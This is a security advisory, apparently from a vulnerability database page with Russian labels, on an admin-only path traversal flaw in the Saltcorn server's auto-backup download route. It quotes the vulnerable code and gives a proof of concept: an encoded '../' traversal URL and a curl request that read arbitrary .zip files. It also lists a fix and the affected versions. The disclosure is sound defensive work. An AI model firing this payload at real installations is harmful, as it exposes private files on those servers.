Описание
@saltcorn/server arbitrary file zip read and download when downloading auto backups
Summary
A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to res.download API.
Details
- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682
router.get(
"/auto-backup-download/:filename",
isAdmin,
error_catcher(async (req, res) => {
const { filename } = req.params; // [1] source
[...]
if (
!isRoot ||
!(filename.startsWith(backup_file_prefix) && filename.endsWith(".zip")) // [2]
) {
res.redirect("/admin/backup");
return;
}
const auto_backup_directory = getState().getConfig("auto_backup_directory");
res.download(path.join(auto_backup_directory, filename), filename); // [3] sink
})
);
Steps to reproduce (PoC)
- create a file with
.zipextension under/tmpfolder:
echo "secret12345" > /tmp/secret.zip
- log into the application as an admin user
- visit the url
http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip - download the zip file and then check if the zip was indeed downloaded:
cat secret.zip
secret12345
- Alternatively send the following request to retrieve the file just created.
curl -i -X $'GET' \
-H $'Host: localhost:3000' \
-H $'Connection: close' \
-b $'connect.sid=VALID_CONNECT_SID_COOKIE' \
$'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip'
NOTE:
To obtain a valid connect.sid cookie, just open the developer console while logged and retrieve the cookie value.
Impact
Arbitrary zip files download (information disclosure).
Recommended Mitigation
Resolve the filename parameter before checking if it starts with backup_file_prefix .
Пакеты
Наименование
@saltcorn/server
npm
Затронутые версииВерсия исправления
<= 1.0.0-beta.13
1.0.0-beta.14
5 Medium
CVSS4
4.4 Medium
CVSS3
Дефекты
CWE-22
5 Medium
CVSS4
4.4 Medium
CVSS3
Дефекты
CWE-22